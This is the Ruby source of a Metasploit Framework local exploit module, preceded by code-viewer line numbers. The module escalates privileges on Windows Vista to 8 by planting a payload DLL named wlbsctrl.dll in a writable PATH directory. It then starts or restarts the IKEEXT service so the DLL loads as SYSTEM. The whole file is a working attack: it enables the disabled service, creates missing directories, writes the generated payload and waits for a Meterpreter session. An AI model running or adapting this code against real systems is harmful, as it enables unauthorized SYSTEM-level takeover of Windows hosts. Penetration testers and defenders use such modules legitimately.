1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/services' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Services include Msf::Post::Windows::Accounts def initialize(info={}) super( update_info( info, 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL', 'Description' => %q{ This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' (IKEEXT) service which runs as SYSTEM, and starts automatically in default installations of Vista-Win8. It requires an insecure bin path to plant the DLL payload. }, 'References' => [ ['URL', 'https://www.htbridge.com/advisory/HTB23108'], ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] ], 'DisclosureDate' => "Oct 09 2012", 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell <eat_meatballs@hotmail.co.uk>' ], 'Platform' => [ 'win'], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'SessionTypes' => [ "meterpreter" ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => 5, 'ReverseConnectRetries' => 255 }, 'DefaultTarget'=> 0 )) register_options([ OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) ]) @service_name = 'IKEEXT' @load_lib_search_path = ['%SystemRoot%\\System32', '%SystemRoot%\\System', '%SystemRoot%' ] @non_existant_dirs = [] end def check_service_exists?(service) srv_info = service_info(service) if srv_info.nil? print_warning("Unable to enumerate services.") return false end if srv_info && srv_info['Name'].empty? print_warning("Service #{service} does not exist.") return false else return true end end def check srv_info = service_info(@service_name) if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe end vprint_status(srv_info.to_s) case srv_info['Startup'] when 'Disabled' print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe when 'Manual' print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe when 'Auto' print_good("Service is set to Automatically start...") end if check_search_path return Exploit::CheckCode::Safe end return Exploit::CheckCode::Vulnerable end def check_search_path dll = 'wlbsctrl.dll' @load_lib_search_path.each do |path| dll_path = "#{expand_path(path)}\\#{dll}" if file_exist?(dll_path) print_warning("DLL already exists at #{dll_path}...") return true end end return false end def check_system_path print_status("Checking %PATH% folders for write access...") result= registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') if result.nil? print_error("Unable to retrieve %PATH% from registry.") return end paths = result.split(';') paths.append(@load_lib_search_path).flatten!.uniq! paths.each do |p| path = expand_path(p) if exist?(path) if check_write_access(path) return path end else # User may be able to create the path... print_status("Path #{path} does not exist...") @non_existant_dirs << path end end return nil end def check_write_access(path) perm = check_dir_perms(path, @token) if perm and perm.include?('W') print_good ("Write permissions in #{path} - #{perm}") return true elsif perm vprint_status ("Permissions for #{path} - #{perm}") else vprint_status ("No permissions for #{path}") end return false end def check_dirs print_status("Attempting to create a non-existant PATH dir to use.") @non_existant_dirs.each do |dir| begin client.fs.dir.mkdir(dir) if exist?(dir) register_file_for_cleanup(dir) return dir end rescueRex::Post::Meterpreter::RequestError => e vprint_status("Unable to create dir: #{dir} - #{e}") end end return nil end def check_session_arch if sysinfo['Architecture'] =~ /x64/i if payload_instance.arch.first == 'x86' fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") end else if payload_instance.arch.first =~ /64/i fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") end end end def exploit check_session_arch begin @token = get_imperstoken rescue Rex::Post::Meterpreter::RequestError vprint_error("Error while using get_imperstoken: #{e}") end fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token if is_system? fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.") end print_status("Checking service exists...") if !check_service_exists?(@service_name) fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.") end if is_uac_enabled? print_warning("UAC is enabled, may get false negatives on writable folders.") end if datastore['DIR'].empty? # If DLL already exists in system folders, we dont want to overwrite by accident if check_search_path fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.") end file_path = check_system_path file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs if file_path.nil? fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...") end else # Use manually selected Dir file_path = datastore['DIR'] end @dll_file_path = "#{file_path}\\wlbsctrl.dll" service_information = service_info(@service_name) if service_information['Startup'] == 'Disabled' print_status("Service is disabled, attempting to enable...") service_change_startup(@service_name, 'auto') service_information = service_info(@service_name) # Still disabled if service_information['Startup'] == 'Disabled' fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...") end end # Check architecture dll = generate_payload_dll # # Drop the malicious executable into the path # print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") begin write_file(@dll_file_path, dll) register_file_for_cleanup(@dll_file_path) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on fail_with(Exploit::Failure::Unknown, e.message) end # # Run the service, let the Windows API do the rest # print_status("Launching service #{@service_name}...") begin status = service_start(@service_name) if status == 1 print_status("Service already running, attempting to restart...") if service_stop(@service_name) == 0 print_status("Service stopped, attempting to start...") if service_start(@service_name) == 0 print_status("Service started...") else fail_with(Exploit::Failure::Unknown, "Unable to start service.") end else fail_with(Exploit::Failure::Unknown, "Unable to stop service") end elsif status == 0 print_status("Service started...") end rescue RuntimeError => e raise e if e.kind_of? Msf::Exploit::Failed if service_information['Startup'] == 'Manual' fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") else if job_id print_status("Unable to start service, handler running waiting for a reboot...") while(true) break if session_created? select(nil,nil,nil,1) end else fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") end end end end end |